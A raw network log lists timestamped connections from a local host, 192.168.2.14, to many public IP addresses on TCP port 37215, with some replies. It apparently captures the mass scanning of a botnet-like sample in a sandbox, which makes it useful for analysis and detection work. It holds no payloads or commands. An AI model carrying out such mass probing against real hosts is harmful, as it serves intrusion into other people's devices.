Sep 25, 2024 14:14:13.505944014 CEST	37215	45188	41.123.151.76	192.168.2.14
Sep 25, 2024 14:14:13.505950928 CEST	63353	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:13.505956888 CEST	63353	37215	192.168.2.14	41.223.187.66
Sep 25, 2024 14:14:13.505984068 CEST	48324	37215	192.168.2.14	41.203.219.24
Sep 25, 2024 14:14:13.506217957 CEST	37215	63353	197.146.186.227	192.168.2.14
Sep 25, 2024 14:14:13.506227970 CEST	37215	63353	41.187.143.200	192.168.2.14
Sep 25, 2024 14:14:13.506237030 CEST	37215	63353	197.57.47.6	192.168.2.14
Sep 25, 2024 14:14:13.506247997 CEST	37215	63353	197.86.189.29	192.168.2.14
Sep 25, 2024 14:14:13.506257057 CEST	37215	63353	156.85.107.170	192.168.2.14
Sep 25, 2024 14:14:13.506259918 CEST	63353	37215	192.168.2.14	197.146.186.227
Sep 25, 2024 14:14:13.506259918 CEST	63353	37215	192.168.2.14	41.187.143.200
Sep 25, 2024 14:14:13.506273985 CEST	63353	37215	192.168.2.14	197.57.47.6
Sep 25, 2024 14:14:13.506289959 CEST	63353	37215	192.168.2.14	156.85.107.170
Sep 25, 2024 14:14:13.506310940 CEST	37215	63353	156.94.174.92	192.168.2.14
Sep 25, 2024 14:14:13.506321907 CEST	37215	63353	41.46.151.131	192.168.2.14
Sep 25, 2024 14:14:13.506330967 CEST	37215	63353	156.62.193.26	192.168.2.14
Sep 25, 2024 14:14:13.506335974 CEST	37215	63353	197.192.88.118	192.168.2.14
Sep 25, 2024 14:14:13.506340981 CEST	63353	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.506355047 CEST	37215	63353	156.101.5.7	192.168.2.14
Sep 25, 2024 14:14:13.506364107 CEST	63353	37215	192.168.2.14	41.46.151.131
Sep 25, 2024 14:14:13.506364107 CEST	63353	37215	192.168.2.14	156.94.174.92
Sep 25, 2024 14:14:13.506364107 CEST	63353	37215	192.168.2.14	156.62.193.26
Sep 25, 2024 14:14:13.506365061 CEST	37215	63353	41.162.180.78	192.168.2.14
Sep 25, 2024 14:14:13.506376982 CEST	37215	45188	41.123.151.76	192.168.2.14
Sep 25, 2024 14:14:13.506383896 CEST	63353	37215	192.168.2.14	197.192.88.118
Sep 25, 2024 14:14:13.506383896 CEST	63353	37215	192.168.2.14	156.101.5.7
Sep 25, 2024 14:14:13.506386995 CEST	37215	63353	156.222.104.69	192.168.2.14
Sep 25, 2024 14:14:13.506393909 CEST	63353	37215	192.168.2.14	41.162.180.78
Sep 25, 2024 14:14:13.506397963 CEST	37215	63353	156.100.83.140	192.168.2.14
Sep 25, 2024 14:14:13.506407976 CEST	37215	63353	197.207.144.177	192.168.2.14
Sep 25, 2024 14:14:13.506417036 CEST	37215	63353	41.118.34.153	192.168.2.14
Sep 25, 2024 14:14:13.506417990 CEST	45188	37215	192.168.2.14	41.123.151.76
Sep 25, 2024 14:14:13.506422997 CEST	63353	37215	192.168.2.14	156.100.83.140
Sep 25, 2024 14:14:13.506423950 CEST	63353	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:13.506427050 CEST	37215	63353	156.242.48.41	192.168.2.14
Sep 25, 2024 14:14:13.506437063 CEST	37215	63353	156.139.7.170	192.168.2.14
Sep 25, 2024 14:14:13.506443977 CEST	63353	37215	192.168.2.14	197.207.144.177
Sep 25, 2024 14:14:13.506445885 CEST	37215	63353	156.138.33.103	192.168.2.14
Sep 25, 2024 14:14:13.506452084 CEST	63353	37215	192.168.2.14	41.118.34.153
Sep 25, 2024 14:14:13.506457090 CEST	37215	63353	41.56.131.61	192.168.2.14
Sep 25, 2024 14:14:13.506463051 CEST	63353	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:13.506467104 CEST	37215	63353	41.30.40.26	192.168.2.14
Sep 25, 2024 14:14:13.506477118 CEST	37215	63353	156.130.48.53	192.168.2.14
Sep 25, 2024 14:14:13.506484985 CEST	37215	63353	156.243.96.120	192.168.2.14
Sep 25, 2024 14:14:13.506489038 CEST	63353	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:13.506494045 CEST	63353	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.506494999 CEST	37215	63353	197.222.255.145	192.168.2.14
Sep 25, 2024 14:14:13.506496906 CEST	63353	37215	192.168.2.14	156.138.33.103
Sep 25, 2024 14:14:13.506496906 CEST	63353	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:13.506505013 CEST	37215	63353	197.123.20.78	192.168.2.14
Sep 25, 2024 14:14:13.506514072 CEST	37215	35332	41.75.134.209	192.168.2.14
Sep 25, 2024 14:14:13.506515980 CEST	63353	37215	192.168.2.14	156.243.96.120
Sep 25, 2024 14:14:13.506522894 CEST	37215	63353	197.239.217.207	192.168.2.14
Sep 25, 2024 14:14:13.506531000 CEST	63353	37215	192.168.2.14	197.222.255.145
Sep 25, 2024 14:14:13.506534100 CEST	37215	63353	156.136.211.71	192.168.2.14
Sep 25, 2024 14:14:13.506546021 CEST	37215	63353	41.225.63.239	192.168.2.14
Sep 25, 2024 14:14:13.506546974 CEST	35332	37215	192.168.2.14	41.75.134.209
Sep 25, 2024 14:14:13.506555080 CEST	37215	63353	156.229.29.51	192.168.2.14
Sep 25, 2024 14:14:13.506567001 CEST	63353	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:13.506567001 CEST	63353	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:13.506567955 CEST	63353	37215	192.168.2.14	197.239.217.207
Sep 25, 2024 14:14:13.506570101 CEST	63353	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.506583929 CEST	63353	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.506589890 CEST	63353	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:13.506597996 CEST	37215	63353	197.111.167.51	192.168.2.14
Sep 25, 2024 14:14:13.506639004 CEST	63353	37215	192.168.2.14	197.111.167.51
Sep 25, 2024 14:14:13.506742001 CEST	37215	63353	41.220.146.194	192.168.2.14
Sep 25, 2024 14:14:13.506751060 CEST	37215	63353	156.206.182.162	192.168.2.14
Sep 25, 2024 14:14:13.506759882 CEST	37215	63353	197.137.43.136	192.168.2.14
Sep 25, 2024 14:14:13.506768942 CEST	37215	63353	41.205.120.166	192.168.2.14
Sep 25, 2024 14:14:13.506778002 CEST	37215	63353	41.196.160.39	192.168.2.14
Sep 25, 2024 14:14:13.506783009 CEST	63353	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:13.506786108 CEST	63353	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:13.506787062 CEST	37215	63353	156.163.166.235	192.168.2.14
Sep 25, 2024 14:14:13.506797075 CEST	37215	63353	156.51.49.93	192.168.2.14
Sep 25, 2024 14:14:13.506798029 CEST	63353	37215	192.168.2.14	197.137.43.136
Sep 25, 2024 14:14:13.506805897 CEST	37215	63353	156.82.105.217	192.168.2.14
Sep 25, 2024 14:14:13.506812096 CEST	63353	37215	192.168.2.14	41.205.120.166
Sep 25, 2024 14:14:13.506815910 CEST	37215	63353	41.89.131.221	192.168.2.14
Sep 25, 2024 14:14:13.506819010 CEST	63353	37215	192.168.2.14	41.196.160.39
Sep 25, 2024 14:14:13.506829023 CEST	63353	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:13.506833076 CEST	37215	63353	197.156.215.213	192.168.2.14
Sep 25, 2024 14:14:13.506839991 CEST	63353	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:13.506844044 CEST	37215	63353	197.211.187.23	192.168.2.14
Sep 25, 2024 14:14:13.506851912 CEST	63353	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:13.506851912 CEST	63353	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:13.506853104 CEST	37215	63353	41.200.165.86	192.168.2.14
Sep 25, 2024 14:14:13.506863117 CEST	37215	63353	41.151.31.9	192.168.2.14
Sep 25, 2024 14:14:13.506867886 CEST	63353	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:13.506872892 CEST	37215	63353	41.138.22.129	192.168.2.14
Sep 25, 2024 14:14:13.506881952 CEST	37215	63353	156.47.193.228	192.168.2.14
Sep 25, 2024 14:14:13.506891012 CEST	37215	63353	41.202.147.229	192.168.2.14
Sep 25, 2024 14:14:13.506896973 CEST	63353	37215	192.168.2.14	197.211.187.23
Sep 25, 2024 14:14:13.506900072 CEST	37215	63353	197.168.206.106	192.168.2.14
Sep 25, 2024 14:14:13.506902933 CEST	63353	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:13.506906033 CEST	63353	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.506906033 CEST	63353	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:13.506910086 CEST	37215	63353	41.32.128.235	192.168.2.14
Sep 25, 2024 14:14:13.506917000 CEST	63353	37215	192.168.2.14	156.47.193.228
Sep 25, 2024 14:14:13.506920099 CEST	37215	63353	197.179.45.104	192.168.2.14
Sep 25, 2024 14:14:13.506923914 CEST	63353	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:13.506930113 CEST	37215	63353	156.78.176.151	192.168.2.14
Sep 25, 2024 14:14:13.506938934 CEST	37215	63353	197.234.26.181	192.168.2.14
Sep 25, 2024 14:14:13.506947994 CEST	63353	37215	192.168.2.14	41.32.128.235
Sep 25, 2024 14:14:13.506947994 CEST	37215	63353	197.213.126.196	192.168.2.14
Sep 25, 2024 14:14:13.506953955 CEST	63353	37215	192.168.2.14	197.168.206.106
Sep 25, 2024 14:14:13.506953955 CEST	63353	37215	192.168.2.14	197.179.45.104
Sep 25, 2024 14:14:13.506958008 CEST	63353	37215	192.168.2.14	156.78.176.151
Sep 25, 2024 14:14:13.506958961 CEST	37215	63353	156.250.124.27	192.168.2.14
Sep 25, 2024 14:14:13.506968975 CEST	37215	63353	156.66.158.131	192.168.2.14
Sep 25, 2024 14:14:13.506978035 CEST	37215	63353	41.40.105.169	192.168.2.14
Sep 25, 2024 14:14:13.506982088 CEST	63353	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.506982088 CEST	63353	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:13.506988049 CEST	37215	63353	41.145.50.243	192.168.2.14
Sep 25, 2024 14:14:13.506993055 CEST	63353	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:13.506997108 CEST	37215	63353	156.161.174.59	192.168.2.14
Sep 25, 2024 14:14:13.507014036 CEST	63353	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:13.507035017 CEST	63353	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:13.507036924 CEST	63353	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.507038116 CEST	63353	37215	192.168.2.14	156.250.124.27
Sep 25, 2024 14:14:13.507066965 CEST	37215	63353	197.13.50.174	192.168.2.14
Sep 25, 2024 14:14:13.507101059 CEST	37215	63353	41.0.66.167	192.168.2.14
Sep 25, 2024 14:14:13.507111073 CEST	37215	63353	41.251.86.183	192.168.2.14
Sep 25, 2024 14:14:13.507112026 CEST	63353	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:13.507142067 CEST	63353	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:13.507142067 CEST	63353	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:13.507636070 CEST	37215	63353	156.6.55.12	192.168.2.14
Sep 25, 2024 14:14:13.507647038 CEST	37215	63353	156.138.102.83	192.168.2.14
Sep 25, 2024 14:14:13.507656097 CEST	37215	63353	41.210.218.248	192.168.2.14
Sep 25, 2024 14:14:13.507666111 CEST	37215	63353	197.194.118.20	192.168.2.14
Sep 25, 2024 14:14:13.507674932 CEST	37215	63353	41.156.21.254	192.168.2.14
Sep 25, 2024 14:14:13.507683992 CEST	37215	63353	156.15.110.52	192.168.2.14
Sep 25, 2024 14:14:13.507684946 CEST	63353	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:13.507693052 CEST	37215	63353	41.126.4.16	192.168.2.14
Sep 25, 2024 14:14:13.507694960 CEST	63353	37215	192.168.2.14	156.6.55.12
Sep 25, 2024 14:14:13.507694960 CEST	63353	37215	192.168.2.14	41.210.218.248
Sep 25, 2024 14:14:13.507694960 CEST	63353	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:13.507703066 CEST	37215	63353	197.102.171.153	192.168.2.14
Sep 25, 2024 14:14:13.507713079 CEST	37215	63353	156.160.181.179	192.168.2.14
Sep 25, 2024 14:14:13.507719040 CEST	63353	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.507721901 CEST	63353	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:13.507721901 CEST	37215	63353	197.137.27.83	192.168.2.14
Sep 25, 2024 14:14:13.507721901 CEST	63353	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:13.507733107 CEST	63353	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:13.507739067 CEST	37215	63353	197.236.232.139	192.168.2.14
Sep 25, 2024 14:14:13.507745981 CEST	63353	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.507749081 CEST	37215	63353	156.87.246.107	192.168.2.14
Sep 25, 2024 14:14:13.507759094 CEST	37215	63353	197.216.45.82	192.168.2.14
Sep 25, 2024 14:14:13.507767916 CEST	37215	63353	156.36.170.113	192.168.2.14
Sep 25, 2024 14:14:13.507775068 CEST	63353	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:13.507775068 CEST	63353	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:13.507785082 CEST	37215	48796	41.104.163.68	192.168.2.14
Sep 25, 2024 14:14:13.507792950 CEST	63353	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:13.507800102 CEST	63353	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:13.507802963 CEST	63353	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:13.507834911 CEST	48796	37215	192.168.2.14	41.104.163.68
Sep 25, 2024 14:14:13.508074045 CEST	37215	51296	156.2.239.14	192.168.2.14
Sep 25, 2024 14:14:13.508084059 CEST	37215	46112	156.16.94.219	192.168.2.14
Sep 25, 2024 14:14:13.508117914 CEST	51296	37215	192.168.2.14	156.2.239.14
Sep 25, 2024 14:14:13.508122921 CEST	37215	59382	197.159.134.131	192.168.2.14
Sep 25, 2024 14:14:13.508138895 CEST	46112	37215	192.168.2.14	156.16.94.219
Sep 25, 2024 14:14:13.508161068 CEST	59382	37215	192.168.2.14	197.159.134.131
Sep 25, 2024 14:14:13.508198977 CEST	37215	44518	156.196.69.185	192.168.2.14
Sep 25, 2024 14:14:13.508209944 CEST	37215	41778	197.156.198.167	192.168.2.14
Sep 25, 2024 14:14:13.508225918 CEST	37215	49926	156.165.179.233	192.168.2.14
Sep 25, 2024 14:14:13.508232117 CEST	44518	37215	192.168.2.14	156.196.69.185
Sep 25, 2024 14:14:13.508235931 CEST	37215	58036	156.0.246.2	192.168.2.14
Sep 25, 2024 14:14:13.508244991 CEST	37215	38532	156.113.97.1	192.168.2.14
Sep 25, 2024 14:14:13.508255959 CEST	41778	37215	192.168.2.14	197.156.198.167
Sep 25, 2024 14:14:13.508255959 CEST	49926	37215	192.168.2.14	156.165.179.233
Sep 25, 2024 14:14:13.508347988 CEST	38532	37215	192.168.2.14	156.113.97.1
Sep 25, 2024 14:14:13.508347988 CEST	58036	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:13.526179075 CEST	39036	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:13.526192904 CEST	57278	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:13.526195049 CEST	60508	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:13.526199102 CEST	53806	37215	192.168.2.14	41.39.208.35
Sep 25, 2024 14:14:13.526200056 CEST	55604	37215	192.168.2.14	156.59.45.78
Sep 25, 2024 14:14:13.526200056 CEST	53598	37215	192.168.2.14	41.234.48.19
Sep 25, 2024 14:14:13.526202917 CEST	33220	37215	192.168.2.14	41.87.166.42
Sep 25, 2024 14:14:13.526202917 CEST	49610	37215	192.168.2.14	197.45.117.209
Sep 25, 2024 14:14:13.526207924 CEST	40384	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:13.526216030 CEST	49290	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:13.526216030 CEST	40430	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:13.526216984 CEST	60642	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:13.526216984 CEST	44252	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:13.526226044 CEST	40998	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:13.526226044 CEST	52180	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:13.526226997 CEST	50886	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:13.526226044 CEST	37782	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:13.526235104 CEST	54178	37215	192.168.2.14	197.7.86.235
Sep 25, 2024 14:14:13.526236057 CEST	54898	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:13.526237011 CEST	41280	37215	192.168.2.14	197.228.42.166
Sep 25, 2024 14:14:13.526237011 CEST	40252	37215	192.168.2.14	41.113.76.132
Sep 25, 2024 14:14:13.526237011 CEST	37466	37215	192.168.2.14	156.23.38.211
Sep 25, 2024 14:14:13.526240110 CEST	35854	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:13.526241064 CEST	37148	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:13.526241064 CEST	52638	37215	192.168.2.14	41.119.194.26
Sep 25, 2024 14:14:13.526240110 CEST	56138	37215	192.168.2.14	156.183.76.141
Sep 25, 2024 14:14:13.526240110 CEST	57664	37215	192.168.2.14	156.128.52.57
Sep 25, 2024 14:14:13.526243925 CEST	34036	37215	192.168.2.14	41.135.24.40
Sep 25, 2024 14:14:13.526245117 CEST	34686	37215	192.168.2.14	197.74.234.63
Sep 25, 2024 14:14:13.526246071 CEST	52962	37215	192.168.2.14	156.225.72.240
Sep 25, 2024 14:14:13.526259899 CEST	60486	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:13.526259899 CEST	42446	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:13.526259899 CEST	34400	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:13.526273012 CEST	34688	37215	192.168.2.14	156.188.18.156
Sep 25, 2024 14:14:13.531044960 CEST	37215	57278	156.77.1.208	192.168.2.14
Sep 25, 2024 14:14:13.531056881 CEST	37215	39036	41.131.201.238	192.168.2.14
Sep 25, 2024 14:14:13.531066895 CEST	37215	60508	197.211.244.130	192.168.2.14
Sep 25, 2024 14:14:13.531090021 CEST	57278	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:13.531090975 CEST	39036	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:13.531116962 CEST	60508	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:13.532071114 CEST	56478	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:13.535641909 CEST	60004	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:13.536959887 CEST	37215	56478	197.116.25.249	192.168.2.14
Sep 25, 2024 14:14:13.536999941 CEST	56478	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:13.538923979 CEST	38346	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:13.543224096 CEST	37370	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:13.547523022 CEST	32874	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.551139116 CEST	45508	37215	192.168.2.14	156.9.75.254
Sep 25, 2024 14:14:13.552405119 CEST	37215	32874	156.194.223.116	192.168.2.14
Sep 25, 2024 14:14:13.552511930 CEST	32874	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.557918072 CEST	52130	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:13.558186054 CEST	48234	37215	192.168.2.14	41.11.24.157
Sep 25, 2024 14:14:13.558187008 CEST	37578	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:13.558187008 CEST	42272	37215	192.168.2.14	197.59.27.190
Sep 25, 2024 14:14:13.558195114 CEST	48092	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:13.558223009 CEST	43150	37215	192.168.2.14	41.254.136.7
Sep 25, 2024 14:14:13.561646938 CEST	33328	37215	192.168.2.14	197.10.1.245
Sep 25, 2024 14:14:13.562700033 CEST	58114	37215	192.168.2.14	156.83.245.124
Sep 25, 2024 14:14:13.562762022 CEST	37215	52130	156.96.234.250	192.168.2.14
Sep 25, 2024 14:14:13.562851906 CEST	52130	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:13.563620090 CEST	33514	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:13.564631939 CEST	35990	37215	192.168.2.14	41.223.187.66
Sep 25, 2024 14:14:13.565632105 CEST	37352	37215	192.168.2.14	197.146.186.227
Sep 25, 2024 14:14:13.567104101 CEST	59260	37215	192.168.2.14	41.187.143.200
Sep 25, 2024 14:14:13.568586111 CEST	37215	33514	41.164.78.5	192.168.2.14
Sep 25, 2024 14:14:13.568638086 CEST	33514	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:13.569180965 CEST	51642	37215	192.168.2.14	197.57.47.6
Sep 25, 2024 14:14:13.571335077 CEST	53596	37215	192.168.2.14	156.85.107.170
Sep 25, 2024 14:14:13.573457003 CEST	54374	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.575426102 CEST	58610	37215	192.168.2.14	156.94.174.92
Sep 25, 2024 14:14:13.578016996 CEST	46648	37215	192.168.2.14	41.46.151.131
Sep 25, 2024 14:14:13.578376055 CEST	37215	54374	197.86.189.29	192.168.2.14
Sep 25, 2024 14:14:13.578424931 CEST	54374	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.579885006 CEST	36494	37215	192.168.2.14	156.62.193.26
Sep 25, 2024 14:14:13.580992937 CEST	56020	37215	192.168.2.14	197.192.88.118
Sep 25, 2024 14:14:13.581794977 CEST	39366	37215	192.168.2.14	156.101.5.7
Sep 25, 2024 14:14:13.582895994 CEST	59964	37215	192.168.2.14	41.162.180.78
Sep 25, 2024 14:14:13.583758116 CEST	52732	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:13.584613085 CEST	48616	37215	192.168.2.14	156.100.83.140
Sep 25, 2024 14:14:13.585434914 CEST	45706	37215	192.168.2.14	197.207.144.177
Sep 25, 2024 14:14:13.586504936 CEST	40234	37215	192.168.2.14	41.118.34.153
Sep 25, 2024 14:14:13.588059902 CEST	57388	37215	192.168.2.14	156.242.48.41
Sep 25, 2024 14:14:13.588681936 CEST	37215	52732	156.222.104.69	192.168.2.14
Sep 25, 2024 14:14:13.588737011 CEST	52732	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:13.590265036 CEST	51512	37215	192.168.2.14	156.138.33.103
Sep 25, 2024 14:14:13.592991114 CEST	60868	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.595957994 CEST	35636	37215	192.168.2.14	41.56.131.61
Sep 25, 2024 14:14:13.597829103 CEST	37215	60868	156.139.7.170	192.168.2.14
Sep 25, 2024 14:14:13.597866058 CEST	60868	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.599606037 CEST	53688	37215	192.168.2.14	41.30.40.26
Sep 25, 2024 14:14:13.603022099 CEST	55748	37215	192.168.2.14	156.243.96.120
Sep 25, 2024 14:14:13.606808901 CEST	57936	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:13.608726025 CEST	45242	37215	192.168.2.14	197.222.255.145
Sep 25, 2024 14:14:13.611404896 CEST	37622	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.611665964 CEST	37215	57936	156.130.48.53	192.168.2.14
Sep 25, 2024 14:14:13.611753941 CEST	57936	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:13.613820076 CEST	41814	37215	192.168.2.14	156.136.211.71
Sep 25, 2024 14:14:13.616414070 CEST	37215	37622	197.123.20.78	192.168.2.14
Sep 25, 2024 14:14:13.616456032 CEST	37622	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.617348909 CEST	39346	37215	192.168.2.14	197.239.217.207
Sep 25, 2024 14:14:13.620671034 CEST	32974	37215	192.168.2.14	41.225.63.239
Sep 25, 2024 14:14:13.624480963 CEST	35528	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.627800941 CEST	54028	37215	192.168.2.14	197.111.167.51
Sep 25, 2024 14:14:13.629621029 CEST	37215	35528	156.229.29.51	192.168.2.14
Sep 25, 2024 14:14:13.629662991 CEST	35528	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.631726980 CEST	60926	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:13.634020090 CEST	34628	37215	192.168.2.14	156.206.182.162
Sep 25, 2024 14:14:13.636737108 CEST	49032	37215	192.168.2.14	197.137.43.136
Sep 25, 2024 14:14:13.637029886 CEST	37215	60926	41.220.146.194	192.168.2.14
Sep 25, 2024 14:14:13.637082100 CEST	60926	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:13.638701916 CEST	46892	37215	192.168.2.14	41.196.160.39
Sep 25, 2024 14:14:13.639730930 CEST	59974	37215	192.168.2.14	41.205.120.166
Sep 25, 2024 14:14:13.640724897 CEST	59618	37215	192.168.2.14	156.163.166.235
Sep 25, 2024 14:14:13.641664028 CEST	42708	37215	192.168.2.14	156.51.49.93
Sep 25, 2024 14:14:13.643208981 CEST	51138	37215	192.168.2.14	156.82.105.217
Sep 25, 2024 14:14:13.645462990 CEST	39100	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:13.647130966 CEST	51748	37215	192.168.2.14	197.156.215.213
Sep 25, 2024 14:14:13.649439096 CEST	46328	37215	192.168.2.14	197.211.187.23
Sep 25, 2024 14:14:13.650393963 CEST	37215	39100	41.89.131.221	192.168.2.14
Sep 25, 2024 14:14:13.650441885 CEST	39100	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:13.651834011 CEST	48396	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.654042959 CEST	39192	37215	192.168.2.14	41.151.31.9
Sep 25, 2024 14:14:13.656851053 CEST	37215	48396	41.200.165.86	192.168.2.14
Sep 25, 2024 14:14:13.656891108 CEST	48396	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.656910896 CEST	39386	37215	192.168.2.14	41.138.22.129
Sep 25, 2024 14:14:13.657948017 CEST	59670	37215	192.168.2.14	156.47.193.228
Sep 25, 2024 14:14:13.658837080 CEST	60702	37215	192.168.2.14	41.202.147.229
Sep 25, 2024 14:14:13.660114050 CEST	51458	37215	192.168.2.14	197.168.206.106
Sep 25, 2024 14:14:13.661402941 CEST	49786	37215	192.168.2.14	41.32.128.235
Sep 25, 2024 14:14:13.662266970 CEST	58402	37215	192.168.2.14	197.179.45.104
Sep 25, 2024 14:14:13.663263083 CEST	56668	37215	192.168.2.14	156.78.176.151
Sep 25, 2024 14:14:13.664274931 CEST	49108	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.666671991 CEST	40640	37215	192.168.2.14	197.213.126.196
Sep 25, 2024 14:14:13.669030905 CEST	37215	49108	197.234.26.181	192.168.2.14
Sep 25, 2024 14:14:13.669064999 CEST	49108	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.669080973 CEST	59490	37215	192.168.2.14	156.250.124.27
Sep 25, 2024 14:14:13.671500921 CEST	58972	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:13.674253941 CEST	48476	37215	192.168.2.14	41.40.105.169
Sep 25, 2024 14:14:13.676516056 CEST	37215	58972	156.66.158.131	192.168.2.14
Sep 25, 2024 14:14:13.676574945 CEST	58972	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:13.678750992 CEST	36726	37215	192.168.2.14	41.145.50.243
Sep 25, 2024 14:14:13.689465046 CEST	58942	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.692760944 CEST	56572	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:13.694331884 CEST	37215	58942	156.161.174.59	192.168.2.14
Sep 25, 2024 14:14:13.694370031 CEST	58942	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.694696903 CEST	50920	37215	192.168.2.14	41.0.66.167
Sep 25, 2024 14:14:13.697549105 CEST	37215	56572	197.13.50.174	192.168.2.14
Sep 25, 2024 14:14:13.697597980 CEST	56572	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:13.698026896 CEST	38202	37215	192.168.2.14	41.251.86.183
Sep 25, 2024 14:14:13.701448917 CEST	60398	37215	192.168.2.14	156.6.55.12
Sep 25, 2024 14:14:13.704575062 CEST	53458	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:13.708224058 CEST	58104	37215	192.168.2.14	41.210.218.248
Sep 25, 2024 14:14:13.709403038 CEST	37215	53458	156.138.102.83	192.168.2.14
Sep 25, 2024 14:14:13.709444046 CEST	53458	37215	192.168.2.14	156.138.102.83
